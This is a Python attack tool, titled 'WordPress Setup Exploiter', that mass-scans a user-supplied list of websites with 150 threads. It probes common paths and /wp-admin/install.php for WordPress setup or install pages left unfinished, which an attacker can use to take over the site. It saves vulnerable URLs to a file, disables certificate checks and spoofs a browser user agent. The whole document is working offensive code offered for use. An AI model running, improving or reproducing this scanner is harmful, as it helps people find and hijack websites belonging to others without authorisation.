# Make sure that this code is above your current one.

# Imports
import subprocess, requests, time, os
import sys, re, random, string
from multiprocessing.dummy import Pool
from colorama import Fore, init

# Strings


init(autoreset=True)
fr = Fore.RED
fg = Fore.GREEN

requests.urllib3.disable_warnings()

# Banner
banner = f"""                                             
{fg}          WordPress Setup Exploiter                
{fr}             By @FlashKiss_1337             
"""

print(banner)

# Get input file path from user with UTF-8 support
try:
    file_path = input("Enter the path to your sites.txt file: ")
    target = [i.strip() for i in open(file_path, mode='r', encoding='utf-8').readlines()]
except FileNotFoundError:
    exit(fr + '\n  [!] File not found. Please check the path and try again.')
except Exception as e:
    exit(fr + f'\n  [!] Error reading file: {e}')

def ran(length):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(length))

Pathlist = ['/wordpress', '/wp', '/blog', '/test', '/site', '/cms', '/new', '/old', '/beta', '/demo', '/backup']

class EvaiLCode:
    def __init__(self):
        self.headers = {
            'User-Agent': 'Mozilla/5.0 (Linux; Android 7.0; SM-G892A Build/NRD90M; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/60.0.3112.107 Mobile Safari/537.36'
        }

    def URLdomain(self, site):
        if site.startswith("http://"):
            site = site.replace("http://", "")
        elif site.startswith("https://"):
            site = site.replace("https://", "")
        
        pattern = re.compile('(.*)/')
        while re.findall(pattern, site):
            sitez = re.findall(pattern, site)
            site = sitez[0]
        return site

    def checker(self, site):
        try:
            url = "http://" + self.URLdomain(site)
            for Path in Pathlist:
                check = requests.get(url + Path, headers=self.headers, verify=False, timeout=25).content.decode('utf-8', errors='ignore')
                if "<title>WordPress &rsaquo; Setup Configuration File</title>" in check:
                    print(' Target: {} --> {}[Successfully]'.format(url + Path, fg))
                    with open('Setup.txt', 'a', encoding='utf-8') as f:
                        f.write(url + Path + "\n")
                    break
                else:
                    check = requests.get(url + "/wp-admin/install.php", headers=self.headers, verify=False, timeout=25).content.decode('utf-8', errors='ignore')
                    if ('<th scope="row"><label for="weblog_title">Site Title</label></th>' in check or
                        '<p class="step"><input type="submit" name="Submit" id="submit" class="button button-large" value="Install WordPress"  /></p>' in check):
                        print(' Target: {} --> {}[Successfully]'.format(url + "/wp-admin/install.php", fg))
                        with open('Setup.txt', 'a', encoding='utf-8') as f:
                            f.write(url + "/wp-admin/install.php" + "\n")
                        break
                    else:
                        print(' Target: {} --> {}[Failed]'.format(url, fr))
        except Exception as e:
            print('Error with site {}: {}'.format(site, e))

Control = EvaiLCode()

def RunUploader(site):
    try:
        Control.checker(site)
    except Exception as e:
        print('Error in RunUploader for {}: {}'.format(site, e))

mp = Pool(150)
mp.map(RunUploader, target)
mp.close()
mp.join()